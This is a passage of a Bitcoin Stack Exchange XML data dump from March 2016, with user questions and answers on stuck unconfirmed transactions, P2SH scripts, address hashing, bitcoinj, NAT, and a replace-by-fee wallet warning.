3.0" />
  <row Id="43344" PostTypeId="1" CreationDate="2016-03-14T18:34:10.810" Score="0" ViewCount="2819" Body="&lt;p&gt;Using Bitcoin Core wallet, I sent coins to an address of mine outside of the wallet. All three transactions sit as unconfirmed though show in blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1HYK6Key5EUwAyaxh6SniXKEjSMsPAgY94&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1HYK6Key5EUwAyaxh6SniXKEjSMsPAgY94&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they are the bottom three transactions. Not sure why they are showing as &quot;spent&quot; - I did send about 0.65btc to this wallet after which I then spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in short - the bottom three transactions are showing as unconfirmed on BitcoinCore, the btc is not in the account they were sent to. Where are they?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further info - the bottom 2 of the 3 transactions were sent almost a week ago though didn't show up in blockchain until I reinstalled the wallet app. However, BTW is still nowhere to be found. Fees - bottom two were sent minimum, top of the 3 was sent as recommended and all are showing as &quot;0/unconfirmed&quot; in the wallet app&lt;/p&gt;&#xA;" OwnerUserId="33920" LastEditorUserId="33695" LastEditDate="2016-03-17T19:35:14.430" LastActivityDate="2017-05-12T06:28:54.007" Title="Where are my bitcoins - unconfirmed transactions" Tags="|bitcoin-core|utxo|" AnswerCount="1" CommentCount="2" ClosedDate="2017-05-13T19:41:27.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="43345" PostTypeId="1" CreationDate="2016-03-14T19:25:43.460" Score="4" ViewCount="296" Body="&lt;p&gt;I'm pretty sure bitcoinj is capable of downloading any Bitcoin transaction from P2P nodes by broadcasting &lt;code&gt;GetDataMessage&lt;/code&gt; because that's what it  does in the &lt;code&gt;peer.downloadDependenciesInternal&lt;/code&gt; method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find/implement a very simple method which would download a transaction with its inputs and outputs and the block in which it's included (if any) but, because of Guava asynchronous futures, I cannot figure it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very simply, I would like to replace 3rd-party services like &lt;a href=&quot;https://blockchain.info/tx/22164ca0760980161a8e1d8e2f962a782ce0134d535255cf8bbd49c5724008db?format=json&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; with something decentralized.&lt;/p&gt;&#xA;" OwnerUserId="29353" LastEditorUserId="24573" LastEditDate="2016-07-22T22:14:52.757" LastActivityDate="2017-10-18T09:57:28.747" Title="get any transaction in p2p manner using bitcoinj" Tags="|bitcoinj|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43346" PostTypeId="1" AcceptedAnswerId="43358" CreationDate="2016-03-14T22:36:20.860" Score="3" ViewCount="484" Body="&lt;p&gt;I'm following &quot;Mastering Bitcoin&quot; from Andreas Antonopoulos in order to understande the Bitcoin implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch05.html#p2sh&quot; rel=&quot;nofollow&quot;&gt;chapter about transactions&lt;/a&gt;, he points some advantages of P2SH transactions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Complex scripts are replaced by shorter fingerprints in the transaction output, making the transaction smaller.&lt;/li&gt;&#xA;  &lt;li&gt;Scripts can be coded as an address, so the sender and the sender’s wallet don’t need complex engineering to implement P2SH.&lt;/li&gt;&#xA;  &lt;li&gt;P2SH shifts the burden of constructing the script to the recipient, not the sender.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;P2SH shifts the burden in data storage for the long script from the output (which is in the UTXO set) to the input (stored on the&#xA;  blockchain).&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;li&gt;P2SH shifts the burden in data storage for the long&#xA;  script from the present time (payment) to a future time (when it is&#xA;  spent).&lt;/li&gt;&#xA;  &lt;li&gt;P2SH shifts the transaction fee cost of a long script from the sender to the recipient, who has to include the long redeem script to&#xA;  spend it.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;About item 4, it still looks suboptimal to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine that I have a firm where in order to spend the payment from customers I also have to get the signatures from at least 1 of 2 other partners. My script would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2 &amp;lt;My PubKey&amp;gt; &amp;lt;Partner 1's PubKey&amp;gt; &amp;lt;Partner 2's PubKey&amp;gt; 3 OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, for every incoming payments that I'd like to spend, my &lt;code&gt;scriptSig&lt;/code&gt; would have to be bloated with the script above plus 2 signatures &lt;code&gt;&amp;lt;sig1&amp;gt; &amp;lt;sig2&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine that I'll have thousands of these transactions, this would be bloating the blockchain, probably decreasing the processing capabilities of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering: is there any way of mantaining these scripts as &quot;accounts&quot; in &quot;script wallets&quot; and not storing it inside the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When there is need for validation, I could simply retrieve this script form the &quot;wallet&quot; and check the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would it be possible?&lt;/p&gt;&#xA;" OwnerUserId="21351" LastActivityDate="2016-03-15T23:17:58.823" Title="Storing scripts (smart contracts) outside the blockchain" Tags="|p2sh|smartcontracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43347" PostTypeId="1" AcceptedAnswerId="43350" CreationDate="2016-03-15T00:54:46.463" Score="3" ViewCount="3081" Body="&lt;p&gt;I'm currently studying Bitcoin and I followed &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses#How_to_create_Bitcoin_Address&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wiki's instructions&lt;/a&gt; to make an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my program never responds as the site above does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supposedly, the ECDSA key &lt;code&gt;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&lt;/code&gt;'s SHA-256 should be &lt;code&gt;600FFE422B4E00731A59557A5CCA46CC183944191006324A447BDB2D98D4B408&lt;/code&gt;, but my code returns &lt;code&gt;32511e82d56dcea68eb774094e25bab0f8bdd9bc1eca1ceeda38c7a43aceddce&lt;/code&gt; and I don't think it's wrong because alot of online SHA-256 service returns the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need I convert the hex into something else like binary to generate the hash?&lt;/p&gt;&#xA;" OwnerUserId="33924" LastEditorUserId="5406" LastEditDate="2016-03-15T09:46:25.213" LastActivityDate="2017-11-24T04:29:03.320" Title="How to generate bitcoin address?" Tags="|address|sha256|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43350" PostTypeId="2" ParentId="43347" CreationDate="2016-03-15T11:44:07.027" Score="2" Body="&lt;p&gt;The hashes are computed on the raw byte value of the key, not the hex-encoded string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from hashlib import sha256&#xA;key = '0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6'&#xA;sha256(key).hexdigest()&#xA;# Output: '32511e82d56dcea68eb774094e25bab0f8bdd9bc1eca1ceeda38c7a43aceddce'&#xA;sha256(key.decode('hex')).hexdigest()&#xA;# Output: '600ffe422b4e00731a59557a5cca46cc183944191006324a447bdb2d98d4b408'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the trick is to hex-decode the string into its original form before hashing it.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-03-15T11:44:07.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43351" PostTypeId="2" ParentId="39193" CreationDate="2016-03-15T16:03:46.357" Score="1" Body="&lt;p&gt;The miner does not need a software upgrade to mine with Bitcoin XT.  The pool or whichever mining solution you choose would need to connect to a Bitcoin XT node rather than a Bitcoin core node. &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-15T16:03:46.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43353" PostTypeId="1" AcceptedAnswerId="43366" CreationDate="2016-03-15T21:07:04.937" Score="1" ViewCount="265" Body="&lt;p&gt;BIP16 P2SH defines special rules to apply on scripts with a specific pattern, namely:&#xA;&lt;code&gt;OP_HASH160 &amp;lt;scriptHash&amp;gt; OP_EQUAL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: &lt;strong&gt;Can a P2SH be used within a script?&lt;/strong&gt; So can I e.g. make a scriptPubKey:&#xA;&lt;code&gt;&amp;lt;420000&amp;gt; OP_CHECKLOCKTIMEVERIFY OP_DROP OP_HASH160 &amp;lt;scriptHash&amp;gt; OP_EQUAL&lt;/code&gt;?&#xA;Or must all additional opcodes be in the redeemScript so that the whole scriptPubKey follows the pattern mentioned in the BIP16 above?&lt;/p&gt;&#xA;" OwnerUserId="29432" LastActivityDate="2016-03-16T10:49:41.367" Title="P2SH (pay to script hash) within a script?" Tags="|script|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43354" PostTypeId="2" ParentId="43344" CreationDate="2016-03-15T21:31:59.383" Score="0" Body="&lt;p&gt;The transaction d3f86df12c12801ca97244a773287226fd1e833e7151b1ab3a90bff930351e50 has a zero fee, so I doubt it will be confirmed anytime soon. Do you know how to double spend it and specify a higher fee? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other two transactions also have a very low transaction fee but that would still be OK. The problem is that they are spending from the zero fee transaction. Therefore they cannot become confirmed before the parent with zero fee is confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say that you sent those transaction a week ago, but Blockchain shows that it received them yesterday. Maybe they were dropped from the mempool after some days last week and now your wallet did just rebroadcast them. What wallet do you use? &lt;/p&gt;&#xA;" OwnerUserId="29432" LastEditorUserId="29432" LastEditDate="2016-03-15T21:39:35.367" LastActivityDate="2016-03-15T21:39:35.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43355" PostTypeId="1" AcceptedAnswerId="43359" CreationDate="2016-03-15T22:00:52.023" Score="1" ViewCount="1594" Body="&lt;p&gt;If I run bitcoin client for the first time its try to make TCP connection with saved list of IPs and port 8333 -other nodes. If this nodes are behind NAT with IP 192.168.0.XX and public IP from the NAT router with changed from NAT unknown port its appears that bitcoin network is down? Or bitcoin client will try to make UDP/TCP hole punching connection? If its mandatory for some miner to have public IP address?&lt;/p&gt;&#xA;" OwnerUserId="33945" LastEditorUserId="2306" LastEditDate="2016-03-15T23:35:19.097" LastActivityDate="2016-03-15T23:46:04.847" Title="Can exist bitcoin network with all nodes behind NAT?" Tags="|network|connection|tcp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43358" PostTypeId="2" ParentId="43346" CreationDate="2016-03-15T23:17:58.823" Score="1" Body="&lt;p&gt;First, yes you are correct in that each time you spend from the same p2sh address, you're specifying the script that hashes to that address. And yes, if you spend multiple times from that same address, you would be correct, this would be highly inefficient since you'd have to reveal the script each time and the script could be very long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in bitcoin, it's not considered safe to re-use addresses. Each p2sh address should be used once, not many times like in your scenario above. In that case, it's not inefficient or suboptimal at all. That said, I suppose something like segwit could be used to store scripts off-band, but that would be a significant and complicated change for not much gain.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-03-15T23:17:58.823" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43359" PostTypeId="2" ParentId="43355" CreationDate="2016-03-15T23:46:04.847" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can exist bitcoin network with all nodes behind NAT?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sure. Both the Bitcoin client and many SOHO routers support UPnP. Failing that, Bitcoin users could set up port forwarding.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or bitcoin client will try to make UDP/TCP hole punching connection?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, it won't do that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If its mandatory for some miner to have public IP address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Generally, mining pools will have a public IP address. There's no reason why you &lt;em&gt;couldn't&lt;/em&gt; set up a mining pool server behind NAT and use port forwarding to make it public, but it would be a very strange way to set things up.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-03-15T23:46:04.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43360" PostTypeId="1" AcceptedAnswerId="43378" CreationDate="2016-03-16T03:02:40.057" Score="2" ViewCount="125" Body="&lt;p&gt;So I've read &lt;a href=&quot;https://21.co/learn/introduction-to-the-21-bitcoin-computer/#step-1-mine-some-bitcoin&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; about how to start mining, and I've started mining, now how do I stop mining? the article seemed to neglected that part..&lt;/p&gt;&#xA;" OwnerUserId="6888" LastActivityDate="2021-10-15T03:55:15.630" Title="Stopping 21 bitcoin computer miner" Tags="|21-bitcoin-computer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43361" PostTypeId="1" CreationDate="2016-03-16T04:08:28.143" Score="2" ViewCount="522" Body="&lt;p&gt;I have two transactions that won't go through. The first one I &lt;a href=&quot;https://i.stack.imgur.com/qz8Pw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qz8Pw.png&quot; alt=&quot;first one&quot;&gt;&lt;/a&gt; I sent with a zero transaction fee by accident and the second one I &lt;a href=&quot;https://i.stack.imgur.com/1eXw2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1eXw2.png&quot; alt=&quot;second one&quot;&gt;&lt;/a&gt; I sent with a fee of .00022324. Neither is going through. I read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9046/why-is-my-transaction-not-getting-confirmed-and-what-can-i-do-about-it?rq=1&quot;&gt;this&lt;/a&gt; question and one of the answers said that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What can I do to speed-up the transaction’s confirmation?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Nothing. The next best thing is to cancel and resend the transaction.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Make a note of the individual bitcoin address(es) that the unconfirmed transaction was sent from.&#xA;      Wait a few days until your wallet stops broadcasting the transaction (or for immediate results, run Bitcoin Core with the -zapwallettxes option)&#xA;      Send all your bitcoins from the addresses recorded in step 1 to a new address with the recommended or higher than recommended fee.&#xA;      Make original transaction again using the recommended fee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wanted to try the -zapwallettxes option but when I try to run bitcoind from terminal it doesn't work. And since I installed from PPA I can't find where the binary was put. &lt;/p&gt;&#xA;" OwnerUserId="33954" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-09-19T13:12:21.980" Title="How can I use Bitcoind on Ubuntu if I installed from PPA?" Tags="|bitcoin-core|ubuntu|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43362" PostTypeId="5" CreationDate="2016-03-16T08:54:35.427" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-16T08:54:35.427" LastActivityDate="2016-03-16T08:54:35.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43363" PostTypeId="4" CreationDate="2016-03-16T08:54:35.427" Score="0" Body="Refers to how fast money passes from one holder to the next." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-16T08:54:35.427" LastActivityDate="2016-03-16T08:54:35.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43364" PostTypeId="5" CreationDate="2016-03-16T09:44:32.133" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-16T09:44:32.133" LastActivityDate="2016-03-16T09:44:32.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43365" PostTypeId="4" CreationDate="2016-03-16T09:44:32.133" Score="0" Body="&quot;Know your customer&quot;, referring to identity checks of their users required of businesses." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-16T09:44:32.133" LastActivityDate="2016-03-16T09:44:32.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43366" PostTypeId="2" ParentId="43353" CreationDate="2016-03-16T10:49:41.367" Score="3" Body="&lt;p&gt;No, P2SH can only be invoked using the exact magic pattern described in BIP16 in the scriptPubKey and not using any variant of it, nor recursively inside the P2SH redeemScript itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earlier proposals (see OP_EVAL) existed that did allow much more flexibility, but it was hard to give strong guarantees about execution time and memory in such a model.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-03-16T10:49:41.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43367" PostTypeId="1" AcceptedAnswerId="43368" CreationDate="2016-03-16T11:17:47.057" Score="5" ViewCount="1147" Body="&lt;p&gt;I am running &lt;code&gt;Bitcoin Core v0.11.0.0-gd26f951 (64-bit)&lt;/code&gt; at home on Ubuntu, and have installed the &lt;code&gt;Bitcoin Wallet for Android&lt;/code&gt; on my phone. I sent two transactions from home to my phone: &lt;a href=&quot;https://blockexplorer.com/tx/168ad57b8f99d4e966249d5f6332805e13e53c7e579f2e17fca22fe9df0430cd&quot; rel=&quot;nofollow&quot;&gt;First&lt;/a&gt;, &lt;a href=&quot;https://blockexplorer.com/tx/69a0d15abaae43f5e5e05d3c679b73986f9cd7f00add1c307e507754bf935d83&quot; rel=&quot;nofollow&quot;&gt;Second&lt;/a&gt;. One had a very low fee and took days, so I sent another one with a slightly higher fee which took only minutes. Both arrived though, and have almost two thousand confirmations by now and show green in the app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin app now (I first noticed it today and I don't think it initially said it) says &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; This payment was delayed because the sender used an insecure transaction type.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;underneath both transactions. What does that mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled the phrase and got exactly one hit, in &lt;a href=&quot;https://raw.githubusercontent.com/schildbach/bitcoin-wallet/master/wallet/res/values/strings.xml&quot; rel=&quot;nofollow&quot;&gt;a resource bundle that is part of the code for the bitcoin-wallet project on github&lt;/a&gt;, which appears to be the Android app. The corresponding key is &lt;code&gt;transaction_row_message_received_rbf&lt;/code&gt;, which generated no hits at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can anyone tell me what this &quot;insecure transaction type&quot; could be, and why Bitcoin-Qt would be using it? Do I need to prevent it, and if so how do I do so?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="33966" LastEditorUserId="5406" LastEditDate="2016-03-17T08:28:49.027" LastActivityDate="2016-03-23T13:33:42.580" Title="What is an &quot;insecure transaction type&quot;, as mentioned by Bitcoin Wallet for Android?" Tags="|bitcoin-core|transaction-verification|bitcoin-wallet-app|sequence|replace-by-fee|" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="43368" PostTypeId="2" ParentId="43367" CreationDate="2016-03-16T11:34:47.820" Score="4" Body="&lt;h2&gt;TL;DR:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It seems that &lt;code&gt;Bitcoin Wallet for Android&lt;/code&gt; incorrectly labels &lt;code&gt;nLockTime&lt;/code&gt; transactions as &lt;code&gt;OptInRBF&lt;/code&gt; due to a bug in &lt;code&gt;bitcoinj&lt;/code&gt;. The &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/issues/1225&quot; rel=&quot;nofollow noreferrer&quot;&gt;issue has been reported&lt;/a&gt;. You don't need to do anything.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Apparently, Bitcoin Wallet for Android recognized your transaction as &lt;a href=&quot;https://bitcoincore.org/en/faq/optin_rbf/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;OptInRBF&lt;/code&gt;&lt;/a&gt; (as pointed out by the code you found). The warning you are seeing was only added to the app on &lt;a href=&quot;https://github.com/bitcoin-wallet/bitcoin-wallet/commit/55eb0dd95dd839b5c869f61ef0b6b44e2f2ae796&quot; rel=&quot;nofollow noreferrer&quot;&gt;March 10th 2016&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What is OptInRBF?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OptInRBF&lt;/code&gt; is short for &quot;Opt-in replace-by-fee&quot;, which was added to Bitcoin Core in 0.12.0. The new version allows Bitcoin Core to receive and correctly treat replace-by-fee transactions. However, Bitcoin Core &lt;strong&gt;cannot create rbf transactions&lt;/strong&gt;, yet. Wallets have to &quot;opt-in&quot; to send them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace-by-fee is a flag that can be set on transactions to communicate that one might want to change the transaction &lt;strong&gt;before it is included in a block&lt;/strong&gt;. Therefore, such transactions shouldn't be considered reliable until they get their first confirmation. After they are included in a block, they are just as safe as any other transaction.&lt;br&gt;&#xA;Mining pools that support rbf will allow a newer version of the transaction to replace the older, especially if the newer transaction pays a higher fee. This is for example useful for increasing the fee on a transaction when it is stuck, or to combine multiple transactions into one when you decide to send another transaction before a previous is confirmed.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Where does the warning come from?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;a href=&quot;http://srv1.yogh.io/#tx:id:69a0d15abaae43f5e5e05d3c679b73986f9cd7f00add1c307e507754bf935d83&quot; rel=&quot;nofollow noreferrer&quot;&gt;raw data of the first transaction&lt;/a&gt;, it turns out that the transaction's &lt;code&gt;sequence&lt;/code&gt; number is indeed below max value: It shows &lt;code&gt;0xFEFFFFFF&lt;/code&gt; while the maximum would be &lt;code&gt;0xFFFFFFFF&lt;/code&gt;. The sequence with an &lt;code&gt;E&lt;/code&gt; in second place is an unsigned &lt;strong&gt;little&lt;/strong&gt; endian long for &quot;one below maximum&quot;. This is the sequence of a &lt;a href=&quot;https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-January/012268.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;nLockTime&lt;/code&gt; transaction&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OptInRBF&lt;/code&gt; have sequences that are smaller than the &lt;code&gt;nLockTime&lt;/code&gt; sequence, i.e. &lt;code&gt;sequence &amp;lt; MAX - 1&lt;/code&gt;. Therefore, it appears that either &lt;code&gt;bitcoinj&lt;/code&gt; or &lt;code&gt;Bitcoin Wallet for Android&lt;/code&gt; misclassifies &lt;code&gt;nLockTime&lt;/code&gt; transactions as &lt;code&gt;OptInRBF&lt;/code&gt;. The problem is that &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2340&quot; rel=&quot;nofollow noreferrer&quot;&gt;since Bitcoin Core 0.11&lt;/a&gt; all transactions have an &lt;code&gt;nLockTime&lt;/code&gt; sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first glance, the &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/blob/becd8641c92817e85029ddd63d1f424cdd626278/core/src/main/java/org/bitcoinj/core/TransactionInput.java#L385&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bitcoinj&lt;/code&gt; code&lt;/a&gt; that checks whether a transaction is &lt;code&gt;OptInRBF&lt;/code&gt; seems fine: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public boolean isOptInFullRBF() {&#xA;    return sequence &amp;lt; NO_SEQUENCE - 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, Java natively uses &lt;a href=&quot;https://stackoverflow.com/questions/362384/are-integers-in-java-little-endian-or-big-endian&quot;&gt;big endian format&lt;/a&gt; instead of little endian format.&lt;br&gt;&#xA;&amp;lt;speculation&amp;gt;Therefore, there may be an issue with&lt;code&gt;NO_SEQUENCE - 1&lt;/code&gt; which might resolve to &lt;code&gt;0xFFFFFFFE&lt;/code&gt; and the &lt;code&gt;nLockTime&lt;/code&gt; sequence &lt;code&gt;0xFEFFFFFF&lt;/code&gt; read as big endian would appear much smaller than that and could therefore be labeled as &lt;code&gt;OptInRBF&lt;/code&gt;.&amp;lt;/speculation&amp;gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've reported the &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/issues/1225&quot; rel=&quot;nofollow noreferrer&quot;&gt;issue&lt;/a&gt; and am trying to craft a &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/pull/1226&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug fix&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt; It turns out that my speculation was incorrect. &lt;code&gt;BitcoinJ&lt;/code&gt; and &lt;code&gt;Bitcoin Wallet for Android&lt;/code&gt; handle transactions with the &lt;code&gt;nLockTime&lt;/code&gt; sequence fine, and parse it using little endian format as required. So far, the maintainer was unable to reproduce the described issue with the provided transactions (instead they were shown correctly without warning). Therefore, the reason for the warning's appearance is still unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you to Pepijn Schmitz, Gregory Sanders, Andreas Schildbach, and Wladimir van der Laan for help in figuring this out.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2016-03-23T13:33:42.580" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43369" PostTypeId="2" ParentId="43345" CreationDate="2016-03-16T12:07:58.630" Score="0" Body="&lt;p&gt;So far, what I found out is that bitcoinj can only fetch unconfirmed &#xA;transactions using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetDataMessage message = new GetDataMessage();&#xA;message.addTransaction(hash);&#xA;peer.sendMessage(message);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Message should then be received by some listener, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;peer.addPreMessageReceivedEventListener(...);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But confirmed transactions will not be received by this nor any similar method. If I'm wrong here I would be very happy. Simply there's no such functionality without running full node (bitcoind) with hash index. &lt;/p&gt;&#xA;" OwnerUserId="29353" LastEditorUserId="24573" LastEditDate="2016-07-22T22:13:07.000" LastActivityDate="2016-07-22T22:13:07.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43370" PostTypeId="1" AcceptedAnswerId="43372" CreationDate="2016-03-16T13:22:51.217" Score="2" ViewCount="209" Body="&lt;p&gt;Suppose I am a node in the Bitcoin protocol and I receive a block that does not point to any  block in my current chain. Should I keep it on the side, waiting for missing intermediate ones? Should I propagate it? Should I just erase it?&lt;/p&gt;&#xA;" OwnerUserId="30323" LastEditorUserId="5406" LastEditDate="2016-03-17T07:34:52.393" LastActivityDate="2016-03-22T15:08:08.887" Title="How should a node deal with a block that is not connected to the chain?" Tags="|synchronization|nodes|orphaned-blocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43371" PostTypeId="1" AcceptedAnswerId="43374" CreationDate="2016-03-16T14:21:43.857" Score="1" ViewCount="1060" Body="&lt;p&gt;I am a total noob, so this might be a stupid question. I was looking at this transaction, and saw multiple inputs and outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/851e8c744494cd01070ca3723ec571137cc29558d1fd4b009bc81c3d75753540&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/851e8c744494cd01070ca3723ec571137cc29558d1fd4b009bc81c3d75753540&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this transaction mean? Who is sending to whom? Is this a multisig transaction? Why are there multiple receivers?&lt;/p&gt;&#xA;" OwnerUserId="33974" LastActivityDate="2016-03-16T18:22:32.150" Title="Multiple addresses in transaction" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
